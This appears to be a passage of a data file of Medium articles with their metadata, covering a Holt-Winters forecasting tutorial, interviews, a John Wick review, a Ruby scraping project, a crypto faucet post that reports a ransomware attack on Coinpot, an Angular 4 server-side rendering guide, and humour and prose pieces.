series[uppercase_m * i:uppercase_m * i + uppercase_m]
) / uppercase_m for i in range(n_seasons)]
initial_season.extend([
sum([series[uppercase_m*j+i]-season_averages[j]
for j in range(n_seasons)]) / n_seasons
for i in range(uppercase_m)
])
return initial_season def winters_es(series: List,
uppercase_m: int,
alpha: float=0.2,
beta: float=0.2,
gamma: float=0.15,
future_steps: int=1) -> List:
i_l = [series[0]]
i_t = [initial_trend(series, uppercase_m)]
i_s = initial_seasonality(series, uppercase_m)
forecasts = []
for t in range(len(series) + future_steps):
if t >= len(series):
m = t - len(series) + 1
forecasts.append(
(i_l[-1] + m * i_t[-1]) + i_s[t % uppercase_m]
)
else:
l_t = alpha * (series[t] - i_s[t % uppercase_m]) + (1 - alpha) * (i_l[-1] + i_t[-1])
i_t[-1] = beta * (l_t - i_l[-1]) + (1 - beta) * i_t[-1]
i_l[-1] = l_t
i_s[t % uppercase_m] = gamma * (series[t] - l_t) + (1 - gamma) * i_s[t % uppercase_m]
forecasts.append(
(i_l[-1] + i_t[-1]) + i_s[t % uppercase_m]
)
return forecasts
FORECASTING
We can now use the completed Holt-Winters implementation to do some forecasting. As usual, we will use the additive Shampoo dataset and forecast the last known value so that we may contrast the estimation with the ground truth.
The alpha, beta and gamma parameters for this example were not optimized, rather they were picked manually.
Since our Holt-Winters function already returns the result for an additive forecast internally, we can use the output directly:
forecast = winters_es(data, 12)
We will now plot the forecast against the ground truth to get a better visualization:
Finally, a proper forecast! For further exploration, let’s plot every forecast plus a few steps ahead:
We can see that there is now the capturing of a seasonal component.
The complete code for this generation can be seen below:
import matplotlib.pyplot as plt from typing import *
def initial_trend(series: List, uppercase_m: int) -> float:
return sum([
float(series[i+uppercase_m] - series[i]) / uppercase_m
for i in range(uppercase_m)
]) / uppercase_m
def initial_seasonality(series: List, uppercase_m: int) -> List:
initial_season = []
n_seasons = int(len(series)/uppercase_m)
season_averages = [sum(
series[uppercase_m * i:uppercase_m * i + uppercase_m]
) / uppercase_m for i in range(n_seasons)]
initial_season.extend([
sum([series[uppercase_m*j+i]-season_averages[j]
for j in range(n_seasons)]) / n_seasons
for i in range(uppercase_m)
])
return initial_season
def winters_es(series: List,
uppercase_m: int,
alpha: float=0.2,
beta: float=0.2,
gamma: float=0.15,
future_steps: int=1) -> List:
i_l = [series[0]]
i_t = [initial_trend(series, uppercase_m)]
i_s = initial_seasonality(series, uppercase_m)
forecasts = []
for t in range(len(series) + future_steps):
if t >= len(series):
m = t - len(series) + 1
forecasts.append(
(i_l[-1] + m * i_t[-1]) + i_s[t % uppercase_m]
)
else:
l_t = alpha * (series[t] - i_s[t % uppercase_m]) + (1 - alpha) * (i_l[-1] + i_t[-1])
i_t[-1] = beta * (l_t - i_l[-1]) + (1 - beta) * i_t[-1]
i_l[-1] = l_t
i_s[t % uppercase_m] = gamma * (series[t] - l_t) + (1 - gamma) * i_s[t % uppercase_m]
forecasts.append(
(i_l[-1] + i_t[-1]) + i_s[t % uppercase_m]
)
return forecasts
if __name__ == '__main__':
plt.figure(
figsize=(32, 20)
)
data = pd.read_csv('../data/shampoo.csv')["Sales"]
data = data.values.tolist()
k = 10
last_months = list(range(34, 34 + k))
forecast = winters_es(data, 12, future_steps=10) plt.plot(data, linewidth=5, label='Shampoo Sales')
plt.plot(forecast, linewidth=4, label='Forecast') plt.axvspan(*(last_months[0], last_months[-1]),
facecolor='grey',
alpha=0.25) plt.legend()
plt.show()
CONCLUSION
We have covered the math, theory and implementation of the Holt-Winters method in Python, complete with a forecasting example. Being triple exponential smoothing, it just hierarchically builds on top of both double exponential smoothing (Holt’s method) and simple exponential smoothing. Therefore the method is capable of capturing level, trend and seasonality components, and promptly utilize them in a forecast.
The Holt-Winters method is an incredibly intuitive and relatively simple forecasting procedure capable of modelling a plethora of time series.
FURTHER READING/REFERENCES
Article sources and extra information for your Holt-Winters needs
EXTRA INFORMATION
Great resources for extra information on time series concepts in general | https://medium.com/analytics-vidhya/a-thorough-introduction-to-holt-winters-forecasting-c21810b8c0e6 | ['Lleyton Ariton'] | 2021-02-22 16:18:57.060000+00:00 | ['Statistics', 'Mathematics', 'Data Science', 'Forecasting', 'Python'] |
In Conversation With Saranta Gattie | We’ve recently expanded our Friday 5 series to encompass friends of Heist, and branched out to a new format called “In Conversation With…” Heist sat down for a chat with Saranta Gattie, co-founder of The Working Capitol, a coworking space on Keong Saik Road which we called home last year.
1/ Hi Saranta, who and what inspires you on a regular basis?
I get inspired by other people’s stories. I’m a fan of autobiographies and how people have gone through their personal or business journeys. Right now, I’m reading, Tim Ferriss’ Tribe of Mentors — the questions change but it sheds light on people’s experience. It offers bits of advice from various leaders on how they have overcome challenges, and that kind of bite-sized inspiration helps me reflect on what I’m doing as well. Becoming by Michelle Obama is a great read. Beyond that, I also enjoy going to events, culture, travelling, taking care of my plants and my dog… all those things allow me to keep my mind fresh and take time for myself.
2/ You’ve co-founded the Working Capitol, how would you describe the culture there and how did you and your team cultivate it throughout the years?
The culture at The Working Capitol is ever-evolving. When we first started, we sold to our first team members a great idea; we weren’t even using the term “co-working” — our aim was to create a multi-faceted space for people to do their best work, meet and unwind. Our team culture was really just about building something new and exciting; everyone had a part to play and a voice to be heard.
As we grew and different people joined the team, they helped to further our culture to what it is today. I’ve always been sensitive to the fact that our team culture is a big part of what makes The Working Capitol’s culture; it is reflected in our service, our events and the various touchpoints within the space. For some members, The Working Capitol’s culture becomes an extension of their own, and it’s a place where they can attract, hire and grow the best talent.
3/ What’s the most challenging aspect of creating a space for start-ups to thrive? On the other hand, what’s the most rewarding thing?
I would highlight first that our space is not just for startups — it’s for entrepreneurs and businesses looking for a new flexible way of working. It’s very rewarding to be part of a company’s journey; whether they are growing or downsizing, being able to support them is key. With that comes the challenge of being able to accommodate them within our space. There are solutions to that — you just need to be creative, flexible and a master juggler!
4/ What do you think Fortune 500 companies can learn from start-up culture within co-working spaces?
Simplifying the decision making process and empowering all employees to make decisions. We, along with a lot of startups, need to make quick decisions — it saves time and we can then move on to the next task. Also just surrounding ourselves with people from all walks of life — that’s what I love about running this space, it is those random conversations because sometimes you’re so stuck in your problem but just taking a trip to the front desk or the pantry and communicating with others can be powerful.
5/ Given how rapidly things are changing, what do you think the future of work looks like and what role do places like the Working Capitol play in it?
Creating more mobility within the workforce, and hiring people that are multi-skilled and adaptable. I think more companies are looking to build a team that’s mobile and flexible, where people are more autonomous and project-based. Where I think the opportunity is for co-working spaces is to help support these individuals and encourage companies to be more flexible — giving team members across businesses to work on a variety of projects, available within the space. In essence, you become a hub for services; from meeting spaces to project-based skills. | https://medium.com/heist-design/in-conversation-with-saranta-gattie-34dbe9a17cf | ['Sofia Elamrani'] | 2019-09-27 04:57:52.636000+00:00 | ['Work', 'Coworking', 'Community', 'Space', 'Workplace'] |
Leading by Example | Georgi Malchev | Georgi looks down at his hands and starts laughing at my question about what makes him angry. “Actually, I think I’ve only yelled at people at work twice. And they were people who, in my opinion, led the others in the wrong direction. I am very sorry that I did it and I am not proud of it at all,” he says. He thinks that whether or not you get angry depends solely on you. Georgi believes in the idea of giving feedback instead, what you do with that feedback in the future, and that you have always done your best from your point of view.
“Lead by Example! Mentor. Entrepreneur. Lecturer. Teacher. Parent.” This is how Georgi Malchev describes himself on his award-winning website. Georgi graduated from the first cohort of the Executive MBA program at AUBG in 2004, only second in his class. Currently, he is a managing partner at the digital marketing agency Xplora, which consists of a team of 41 people. Georgi is also the vice president of the AUBG Alumni Association.
Georgi mentoring. Photo courtesy: Georgi Malchev
What helps Georgi with his emotions is NLP’s model that the only thing you can plan is the reaction. That is, you want a certain reaction, and you know how you can achieve it. “I believe that one really should set an example. And when people expect me to get angry, I use the situation to communicate to them why you shouldn’t be angry and how you should behave as a leader.” Georgi thinks it’s important to realize that the person you may be angry with at work is someone you’re responsible for developing and someone who has more to learn. He says that takes a lot of the anger away. This is one of his various methods when it comes to being a better leader.
When Georgi sets his sights on something, he works very hard towards achieving it. He says he enrolled in AUBG because he was pushed into it. He first visited the university for a lecture by the then Economy Minister Nikolay Vasilev. He says he was impressed by how cool and visibly motivated the people were, by the extracurricular life and the international environment at AUBG. “And I said to myself: ‘Wow, how did I miss out on this?’,” he says. Back then Georgi was working at the Ministry of Economics and Vasilev insisted that he and four other people enroll in the Executive MBA program.
Once he found out about the program and the people studying there, he put a lot of effort into getting in. “Zhoro [Georgi’s nickname] is a very consistent person, whether personally or professionally, he follows a certain path. He is also very persistent, pursues his goals, achieves them not at any cost, but only when they really bring some value,” says Vanya Ananieva, a long-term friend and collaborator of his. Georgi was in the top 3% in the world on his Graduate Management Admission Test and managed to graduate from AUBG magna cum laude, while still working a 12-hour day, six days a week, at the Ministry of Economics.
In the past decade, Georgi has been teaching classes in marketing, communications, and advertising in a few Bulgarian universities. His face lights up as he starts to talk about his teaching career. It’s something he’s very passionate about. He first began teaching because he believed he had valuable knowledge to give and the desire to do it. According to the Myers–Briggs Type Indicator, Georgi is a Consul, and he thinks that has a big influence on his life. “Consuls are people who think it’s up to them to make the world a better place, that it’s up to them to put in more effort.” Georgi says his profile fits in with him being able to recognize teaching as something he wants to achieve and something that meets his values.
Georgi and Vanya during a charity initiative. Photo Courtesy: Predai Natatak Facebook Page
Making the world a better place is something Georgi strongly believes in. That’s why he organizes numerous charity and volunteer events and donates. Georgi and Ananieva founded the organization Predai Natatak, which they use to help people in need, be it with food or other supplies. Georgi is also a part of the campaign Caps for Future, the purpose of which is to collect bottle caps and use the money to buy equipment for smaller hospitals. “These are my values; I can do it and I will do it. I am responsible and that’s why I participate in various initiatives.” Georgi also tries to always maintain a positive outlook on life. He remembers one time when Lazar Radkov, founder of Caps for Future and Live to Lift, had teased him about something, and Georgi replied cheerfully, as he usually does. Radkov then jokingly said, “Hey, I hate this positive attitude you have towards everything.”
He’s not only dedicated to making the world a better place but bettering himself, as well. He tracks his positive habits every day and always sets aside time to work out. About eight years ago, he was looking through self-improvement blogs and learned about improvisational theater. Since then, he’s been doing improv twice a week and it’s helped him develop over the years. “I am generally quite cooperative, but before I went to improv theater, I hadn’t realized how much I think about things in advance and predefine them. And in improv, if you think things through, if you tell the other person everything, nothing is going to happen. Since then, I work much better in a team. Some people you can learn from and others you can help grow.”
Georgi at improv theater. Photo Courtesy: Georgi Malchev.
Georgi is also very dedicated to his family life. Ananieva thinks that he is the dream father because even though he’s very busy, he still makes time for his family, his wife and two sons. “He constantly educates his children, firstly through setting a personal example, secondly through various initiatives,” she says. “I really believe in the concept of leading by example. I think it is up to me to pass on the right values and principles to my children,” Georgi says. He wants his children to learn how to be responsible for themselves and their actions, as well as be able to take responsibility for other people.
This year he’s focused on helping his oldest son, who is 16, as he is interested in entrepreneurship and wants to have his own company one day. “This is the most unusual project for me so far, not to be the one leading things, but rather to mentor him in his own direction, in his own way of development. I think that the fact that I have mentored other people before helps, but here you have full responsibility and you have to figure out where, when, and how much to do.”
Georgi hopes to be known as an example of how you should treat others and how to be part of a team. He also wants to be remembered as an example of how to be a good parent, and how to make the world a better place in your own way. In his case, with teaching and charity initiatives. As Ananieva says, “There are people who set an example for others, and Zhoro is one of them.” | https://medium.com/bits-n-pieces-2020/leading-by-example-20575de9840 | ['Mihaela Miteva'] | 2020-12-02 07:12:46.621000+00:00 | ['Mentorship', 'Leadership', 'Charity', 'Profile'] |
John Wick 3: Prepare for More. | John Wick 3: Prepare for More.
Parabellum marks an unfortunate lapse in quality for the high-minded action franchise.
For all its talk of rules and consequences, the John Wick franchise has developed a frustratingly stubborn refusal to follow any of the ones it’s set for itself. Specifically in terms of quality: While the opening entry was an efficient little revenge thriller that transcended expectations simply by giving us action cleaner than we knew we wanted it, Chapter 2 stops just shy of being an out-and-out action masterpiece. The universe and character were both deepened in equal measure, Derek Kolstad’s fantastic script pushing both the action and Wick himself into exciting new places, always making sure to remind the audience to consider the consequences of having done so.
John Wick: Chapter 3 — Parabellum finds Kolstad joined by a writers’ room worth of other voices, and the effect on the script is an end product every bit as messy and unwieldy as its title. Make no mistake: This is still your grandma’s classic, true-blue John Wick. Remember all those headshots? You’re getting a whole lot more of ’em this time. How about that one time John Wick had to reload in the middle of killing a guy? Well, now he’s going to do that shit so many times that you might literally lose track (other characters will also now do this very cool thing). Looking for more of that John Wick lore that we all know and love? Here, allow us to simply up-end the entire box of it over your heads. What, you’re not into all that lore? When your’e done wiping the lore out of your eyes, you’ll understand. Oh, yes you will.
By essentially making the audience smoke the entire pack of cigarettes, Parabellum jams entirely too much of what made John Wick so exciting in the first place down its collective throat. What seemed before like a carefully-constructed shadow world that existed just beneath the parchment-thin layer of order that constitutes our own has now been reduced to a number of “Hey, wouldn’t that be cool?” type of ideas, each one straining the franchise’s careful balance of credulity that much more than the last.
This third entry, as per tradition, picks up immediately after the last one, as John Wick has been marked “excommunicado” and must now make his way out of New York City. This goes just about as you’d expect, which is very much to the film’s credit. The opening 30 or 45 minutes of Parabellum are far and away its finest, Wick’s flight out of New York whisking him through a barrage of increasingly unrealistic locations, each one utilized in a way that cleanly makes you forget about its improbability. As soon as I was done thinking, “Ah yes, of course we would wind up in one of downtown Manhattan’s many horse stables,” I found myself audibly whooping at what wound up basically amounting to a fucking horsefight. Another seemingly-random production decision (further evidence that these films are location-scouted first and then written second) had this same fight spilling over into what appears to simply be an armory, for some reason, resulting in one of the most hilariously kinetic, almost breathlessly Keaton-esque murder parties I can remember seeing put to film.
Unfortunately, the movie has to stop and take a breath at some point, and when it does, it reveals itself as having unfortunately little to say about its proceedings. It’s almost never fair to hold the failings of one film up against the successes of another, but it’s nearly impossible not to walk out of Parabellum wondering what happened to the high-minded character study that was at play in Chapter 2. Whenever the action stopped, that film utilized its downtime to pose interesting questions about the contents of John Wick’s soul and the nature of the very violence in which he was compulsively engaged. Those first and second films don’t just introduce a violent underworld that exists parallel to our own, they also introduce meaty questions about the cycles of grief and vengeance that manage to keep its characters participating with it. It all works not just because of Kolstad’s commitment to lean, yet introspective storytelling, but because of how carefully-laid-out the pieces of that universe consistently wind up being.
Parabellum throws a lot of that polish out the window, and often does so in ways that are very clearly rooted in the fact that following all of the rules this franchise has established for itself would simply have made this movie harder to write. Why end Chapter 2 on the bell-toll of John Wick’s being marked excommunicado if that’s going to basically amount to nothing in the third chapter? Wick bounces from location to location, almost never encountering the kind of operational difficulty that would be suggested by his excommunicado status, helped out by almost literally every character he meets. At perhaps the most anticlimactic moment in the entire film, Wick demands to be taken to what we’re told is an all-powerful character, one that transcends the very High Table whose will dominates the entire franchise…only to be inexplicably sat down in front of someone at least 10 to 15 years younger than almost every other character we’ve met so far. Motivations and loyalties that have been discussed and established in previous films are thrown entirely out the window, supporting characters enter and exit this one without having any kind of concrete impact on its proceedings, and—in what might amount to the film’s primary outrage—an endless parade of action sequences starts to seriously show the strains of repetition.
Despite its new locations and a criminally underutilized Halle Berry (seriously, she’s one of maybe two or three characters whose scenes could have been cut with little to no impact on the film’s cohesion), Parabellum really fails to elevate itself in the ways that its predecessors did. Chad Stahelski and his stunt team certainly continue to bring the clean-shot action choreography that’s become such a staple of both John Wick and Keanu Reeves films, at this point, but do so without anything to lift the material above anything beyond a simple retread. Gone is the novelty on which the first film was able to succeed. Gone are the eye-pleasing, high-contrast HDR visuals of the second. Instead, Parabellum serves up a series of increasingly-repetitive fights, taking place in a series of increasingly-ridiculous locations, and all bound together by a script that flouts cohesion and abandons its characters.
While it’s impossible to know who contributed what to the construction of a given story, it’s also impossible to ignore the fact that Parabellum’s ultimate failure lies squarely in its inability to maintain the careful worldbuilding that exists in the rest of the franchise. It would feel, very distinctly, as though the singular vision responsible for the first two chapters in John Wick’s story has been somehow diluted for this third entry, whether the credits listed three extra screenwriters after Kolstad’s name or not. They do, though, making it tough not to tie things like muddy worldbuilding and confused character motivation to a terminal number of cooks in the kitchen.
Given that the end of Chapter 3 makes no bones about its intentions for there to be a fourth film, it doesn’t look as though Parabellum will serve as any kind of low-point ending to the franchise. We’ll undoubtedly be seeing you again, John, so here’s hoping you have a bit more to say for yourself when we do.
Oh, and also… | https://medium.com/idiots-delight/john-wick-3-prepare-for-more-ee9fbe7f47e | ['Sean Boulger'] | 2019-05-24 16:27:59.304000+00:00 | ['John Wick', 'Movies', 'Film Criticism', 'Movie Review', 'Film'] |
My first portfolio CLI project | After being enrolled in Flatiron’s software engineering bootcamp for a month, finally it’s time to build my very first portfolio project. The last time I worked on any CLI app was few years back in when one of our teacher gave us task of building any CLI app using Assembly language, that I built a simple currency calculator. It was a totally a procedural program, no Object Oriented concepts were used. So it was pretty simple to build.
But for this project we had to use Object Orientation design and concepts, it took me a while to come up with my own idea of what I’ll build.
What I built
I had two options to choose from, either scraping a website or using built in APIs. I wanted to build a tweet livestream of certain keywords using twitter’s API. But they declined my application for developers access for some reasons.
So I chose to scrape IGN’s top 100 video games of all time. I scraped list of all the video games, along with description, release year, and the facts. Scraping was easy enough to tackle.
Parsing HTML
Using Nokogiri library I parsed the whole HTML, and selected the main attribute of HTML which was article , using .css method. That tag alone gave me all the information of top 100 video games. I selected facts, description, release year, rank and title of every game.
game_articles = parsed_html.css("article") game_articles.map do |game| hash = { fact: game.css("ul.ul li.item-highlight").first.text.strip, description: game.css("div.item-body p").first.text.strip, released: game.css("span.item-label-value").first.text.strip, ranking: game.css("div.badge-number").first.text.strip, title: game.css("div.item-heading a").first.text.strip }
Storing data
After scraping the data I had to store it my Game class so I can use it to build my CLI project. I built a Game class and stored all of the data in array of class variable @@all . And saved it using save method.
class Game @@all = [] def initialize(hash) hash.each do |key, value| self.class.attr_accessor key self.send("#{key}=", value) end save end def save self.class.all << self end def self.all @@all end end
Building CLI app
Flow diagram using draw.io
Here’s the flow diagram of my CLI app. When user starts the app, it loads up for few seconds and then gets the data from the web. And then user is greeted with a greeting message.
Using VS Code
And then user is asked to see the list or to leave the program. If user presses enter, they will see the list of 20 games only.
Using VS Code
And then user is prompted with the input again to see more list of games or they can type any number of list to get the information of that game.
Using VS Code
When user types the number, it sees the title, rank, release year, description and the facts of that game. Users can also press enter to see the list again or type exit to leave. | https://medium.com/@junaidabbasi/my-first-portfolio-cli-project-3fd3e15a888e | [] | 2020-12-14 08:24:31.080000+00:00 | ['Flatiron School', 'Cli', 'Programming', 'Ruby', 'Projects'] |
Every cloud has a silver lining and those faucets are better than ever… | 2020 is almost over, and behold, Bitcoin smashed through $20,000 for the first time on Wednesday. This is good news for everyone who has a crypto portfolio, and however humble it is, it is an investment for the future, at the very least.
After having lost my main source of income due to covid, I started to study again and ended up not abandoning but ceasing to be so active in the crypto sphere. I kept track of the news and subjects of the moment, but I haven’t paid much attention to my faucets. But last Wednesday I got so excited that I decided to dig up all my favorite faucets, and discovered that I lost close to 600 referrals in 3 of them.
Losing 200 refs in each is a big loss for me, if you already know me, you know that my portfolio was built with faucets income. And I keep earning passively with them. The reason for having lost all the referrals was due to an attack on Coinpot. After the initial impact of this bad news, and right after reading the statement published by Coinpot, I realize why this group is the faucet group I trust the most. The vast majority of faucet managers would not even bother to explain what happened.
The statement made by Coinpot:
What happened to Moon Bitcoin/Dogecoin/Litecoin faucets? On Monday 1st June 2020 we sustained a targetted and comprehensive attack on our servers that are used to host CoinPot and our faucets. This attack was in two parts… 1. Most of our servers became infected with the Makop ransomware. 2. At the same time there was a low level DDOS attack preventing us from accessing the servers. These attacks meant that CoinPot and the faucets went offline immediately and stayed that way until we started to find ways to fix the problems. Predictably the ransomware attack was accompanied by demands for an amount totalling over $200k USD to decrypt and release the infected files. This amount is far beyond anything we can afford to pay. Even if we were able to pay, there is no 100% guarantee that we will get the files decrypted and it would most likely encourage future attempted attacks. Therefore we decided not to go down that road and refused to engage with the attackers. We have a strong (or so we thought) backup process. So we now took the steps to start restoring the sites on new clean servers. 24 hours of hard work later…CoinPot and most of our faucets were back on line exactly as before. However our 3 oldest faucets were running on legacy software/hardware that hadn’t been updated for too long a time. Unfortunately we now discovered that some of the backups for these sites also contained data corrupted by the Makop ransomware. Since then we have been trying to fix this and recover this corrupted data — but now we must accept that we have hit a brick wall. The data is lost.
Every cloud has a silver lining and those faucets are better than ever…
If you know little about cryptos, or if you wish to create a crypto portfolio without investment, check out this post The Most Lucrative Faucets In 2020, you will find all my favorite trusted faucets and other sources of passive income. It´s never late to start, and if you start right now you will be ahead of the majority.
Wishing you a year full of blessings and filled with new adventures. Happy new year 2021! | https://medium.com/@breakingdownvalue/every-cloud-has-a-silver-lining-and-those-faucets-are-better-than-ever-ef8698535283 | [] | 2020-12-19 16:05:13.653000+00:00 | ['Altcoins', 'Life', 'Faucet', 'Mindset', 'Bitcoin'] |
Can you contact Celefi for making celebrities a Brand Ambassador? | Celebrities and influencers are being followed by a number of people. They are considered as an icon and people are so obsessed with them. It is all because of the trust bond between them. So, considering any celebrity to launch any brand will definitely gather a great response and seek the attention of a vast audience. Before proceeding further, let us discuss more the importance of brand awareness and brand ambassador.
What is the importance of brand awareness?
Starting any business requires awareness of it. For example, if you are starting your own company, then you need to make people aware of your services, values, etc. More people knowing about your brand, more will be your market. So, business awareness is the first step or the base of any successful business. People will get to know about the services you offer and compare it with their needs. You will potentially get relevant clients for you. So, it is the root of any marketing funnel.
Why celebrity brand ambassador are important?
Brand ambassadors are celebrities who are responsible for endorsing a brand or a product. They will promote the brand or its products. These endorsers help in increasing their sales, generate leads, increase positive messages, etc. Getting a good reputation from the best celebrity endorsers also helps in generating trust among the consumers with the brand. They will tend to use the services of the brand they idolize and trust. So, to promote any brand, celebrity endorsement is a very crucial way.
How do celebrity brand endorsements work?
Just imagine there are endorsements of two brands going on. One is being done by a person who is not known by many people and the other is being done by a celeb. So, whose service are you going to prefer the most? It is such a general question.
If asked by me, I would definitely go to choose the one endorsed by the celebrity. I am sure it is the same for many people out there. It is all because we get more influenced by any familiar face before us rather than getting influenced by an unknown face. It happens because we find it more trustworthy in the real world. So, we can say that our mind works like this.
With a huge fan base and social media following, these celebrities will promote these products on their social media handles and other platforms also. A study revealed that a minimum of 4% of sales is generated by using celebs as their influencers. Well, we can say that it is not at all a bad idea to get your brand endorsed by any celebrity. The impact of celebrity endorsement on consumer buying behaviour will be more than normal advertising.
Let us take a look at the steps to get a celebrity to endorse you.
How can I get a celebrity endorsement?
In India, celebrities always stay busy with their daily schedule, and therefore we hardly get time to interact with them. They are always busy with their photoshoot and workouts and their lifestyle, so getting a celebrity to endorse your brand becomes a bit tough.
But with Celefi, it is not difficult anymore. It is a platform that is making the interaction between you and celebs easier. With a long list of celebrities to choose from, you can choose the one you need depending on your budget. Here are the simple steps to follow :
· Go to the Celefi site.
· Click on the Request button in the Brand Promotion tab.
· An application form will appear on the screen.
· Fill up the form by filling in your full name, Email, and mobile number.
· There is a drop-down in Category to choose the celebrity you want to promote your brand.
· After choosing the celebrity, fill up the Details box by writing about your brand and the way you want celebrities to promote your brand.
· You can also add any message for the celebrity you choose from here.
· Click on the Send button.
What’s next?
It’s over. You completed all the steps. It is a very easy method to get any celebrity to endorse your product. You will receive a notification on your email and mobile number once the celebrity confirms your task. So, it is not a difficult task anymore. Celebrity endorsement is a great way of customer engagement for years and therefore, it is still in practice. It had also given outstanding results.
No more waiting in the queue and getting rejected. Here is a convenient way of getting a celebrity endorsement. It got possible due to Celefi which is getting huge support and is a trusted site by most of the Indians. | https://medium.com/@celefi/can-you-contact-celefi-for-making-celebrities-a-brand-ambassador-50ce328421a6 | [] | 2020-12-14 06:29:06.295000+00:00 | ['Celebrity', 'Branding Agency', 'Brand Awareness', 'Brand Ambassadors'] |
Angular 4 the new gig | Onefootball’s mission is to tell the world’s football stories and we do that through apps on iOS, Android and the web.
At the beginning of this year we decided to revamp the whole website with a new content strategy alongside a new editorial plan and a new UI design. We also felt the need to improve the architecture running under the hood.
The previous setup had been running for almost three years, an AngularJS single page application we started coding in 2014. It served to the users an amalgamation of our content.
The main challenge for that project was to use our API in the best way possible to display content and create meaningful navigation paths in several languages. We serve 7 languages and 11 markets.
The other challenge for us was to make our website indexable by web crawlers, since you probably want your users to find you easily.
With AngularJS, we had a separate service in charge of pre-compiling the pages of the single-page app, so whenever a crawler visited us we could give them a more digestible plain no-js HTML webpage. This isn’t the best setup and probably you would rely on it only if really have to.
When the new Angular came out with the promise of server side rendering, we thought we could kill the two birds with one stone.
I want to talk to you about three aspects of moving from AngularJS to the new Angular: the project setup, the isomorphic rendering and localised routing.
Project Setup: Welcome Typescript / Webpack / NPM Script
In the past we mostly used Grunt to produce the distribution package and for some side jobs; SVG optimisation and updating translation to name just two.
Moving to the new Angular, the project’s setup might seem quite different, but is in general more structured. Now everything can be done with Webpack and NPM scripts, everything can be finally imported à la ES6 modules and if you feel brave enough can always write your own loader.
And NPM scripts reinforce the concept of single responsibility at tooling level. We usually maintain a tool directory with scripts of various types, some of them are for NodeJS, while others are external command line utilities.
Despite using different tooling, it is easy to feel comfortable with Angular Typescript projects.
Universal Code and isomorphic rendering
You’ll find it under the name of server side rendering (SSR), isomorphic rendering or universal code. In short, it is the ability to run JavaScript code server- and client-side producing the same result. The browser at the first request receives a full HTML page, then client-side JavaScript takes over and from that moment everything is managed client-side.
To kickoff our website, we used the Angular Universal project (https://github.com/angular/universal), a fully working isomorphic application with some specific modules to make SSR possible. There is great people behind it and it’s very active. Recently it has been merged into angular-core.
Being able to run the same code server and client-side makes it possible to pre-elaborate almost everything so the client has to do less in order to bootstrap the application. One example is having a server-to-client state, store all the ajax calls responses in a cache and transfer it from the server to the client. That way the client doesn’t have to retrieve that data the server already collected. The result is pretty cool, no additional ajax calls on the first page load.
However a mindset shift is needed to make sure your code works server-side. No more direct access to the DOM, API and other libraries; just rely blindly on the Angular framework and make sure the resources you need exist in the current platform; for instance there is no window global object server-side.
Writing such kind of application forces you avoid all those tricks, we web developers do all the time.
Routes
Localised routing is always an interesting topic. In the old AngularJS was pretty straightforward how to create multilingual apps, you would simply load the translation files needed, then bootstrap your app and configure the modules’ routing with different strings:
$stateProvider
.state('competition', {
url: '/:lang/'+ getLocalizedString('URL.COMPETITION'),
...
})
That would make possible only the localized addresses to be reachable, disabling all the rest.
With Angular 4 is quite different. There’s no official way to do localized routing, and trying to apply the same strategy we used with AngularJS, well… doesn’t work. The relationship between the routing definitions and the module creations is made before any information about the wanted language exists.
However, nobody prevents you from hardcoding the routes in all the language for each module. But this will take you to some strange behavior, like half translated URL. For example this could be a pretty valid URL /first/secondo/third , a mix of English and Italian.
Luckily, there some good projects like localize-router or ngx-i18n-router which will solve all the issues. In addition to that you have use the same routing rules to your server-side Angular app.
If the whole URL, from root to leaf, is reserved for you angular app then is possible to tell the the Express app to listen to everything:
import * as express from 'express';
import { ngExpressEngine } from '@nguniversal/express-engine';
// Set the engine
app.engine('html', ngExpressEngine({
bootstrap: ServerAppModule // Give it a module to bootstrap
}));
app.set('view engine', 'html');
app.get('/**/*', (req: Request, res: Response) => { // render every url with the ServerAppModule
res.render('index', {
req,
res
});
});
We needed instead to support legacy url from previous implementation. So we have a setup where Angular urls cohabit with other legacy urls under the same roof. That means our Express app respond with the Angular engine only when needed.
We have a configuration with the predefined markets and their URL prefix, so it makes sense to reuse them to build the Express routing and keep the old routes as well.
// Set the engine
app.engine('html', ngExpressEngine({
bootstrap: ServerAppModule // Give it a module to bootstrap
}));
app.set('view engine', 'html');
// Use the routing config
const ROUTES = JSON.parse(fs.readFileSync(`markets-routing.json`, 'utf8')); // assuming this ['en', 'de', 'fr', 'es', 'it'];
ROUTES.forEach((route) => {
app.get(`/${route}`, angularHandler);
app.get(`/${route}/*`, angularHandler);
});
app.get( /legacy-service , legacyHandler); app.get( /not-localized-legacy , legacyHandler);
It works though
After the initially steep learning curve where nothing made much sense, we can now say that it works.
It works pretty well actually. The sense of order, control and readability are now even easier to achieve; feels natural now to apply the component-first approach to every feature. So thumb-up for the new Angular 👍 | https://medium.com/onefootball-locker-room/angular-4-the-new-gig-fd7d339667e0 | ['Andrea Dessì'] | 2017-11-15 15:25:24.273000+00:00 | ['JavaScript'] |
Cat Or Fuckboy? | Image c/o Pikrepo, licensed under Creative Commons Zero license
Wants to know if you’re up.
2. Hates going out in public with you.
3. Is cuddling with you one minute, then the next minute they’re hissing at you for something that apparently rubbed them the wrong way.
4. Occasionally throws up all over the floor of your apartment at 3 in the morning.
5. Demands to see you and then leaves the second their needs are satisfied.
6. Refuses to interact with your friends and instead spends the entire time staring at the wall.
7. Hides things from you that, by the time you discover them, it will be too late.
8. Eats a diet almost entirely consisting of low-quality meats.
9. Keeps putting their feet on the coffee table despite you repeatedly telling them not to do that.
10. Has you completely convinced that they secretly love you but just don’t have the emotional bandwidth to properly express their feelings.
11. Kills animals for sport and expects you to be impressed by that.
12. Completely loses their temper if you even so much as suggest that they change part of their routine in order to accommodate you.
13. Sometimes makes you wonder if they’re just in it for the food.
14. Tries to follow you into the bathroom every time you go to take a shower but you politely, yet firmly tell them no because you know that once they’re in there they’re probably going to try to do something weird.
15. Is a fully-grown adult that should know better. | https://medium.com/slackjaw/cat-or-fuckboy-bc4a7a238750 | ['Carlos Greaves'] | 2020-03-04 13:41:01.153000+00:00 | ['Cats', 'Humor', 'Dating', 'Satire', 'Fuckboys'] |
This will be played on the stereo above, in the art deco cafe | And the sun felt soft, like a caress as she turned to walk over the bridge and
back into the maze that is Venice. She felt, finally, free.
There was little more to say, that day. In reality, there would be much, but when evening came that was all that mattered.
Fai come vuoi, tutto gia non va bene, dunque fai come vuoi.
When she saw a small path, the smallest of them, with a young boy kicking a football — theft by finding — she thought
that’s all this really is, and always has been, sheer theft by finding
this art form called writing, but also this art form called life.
One time, in an airport, a man stopped her and said — you write much, few do that often. It is good, I did that once.
These words have lingered with me, echoing, rippling above the sweep-aways of time.
He was doing more than merely observing — a frankly random human in the airport
He was saying something very true, that we were connected, we indulged and we ate the same food, the same wine
He, too, was human
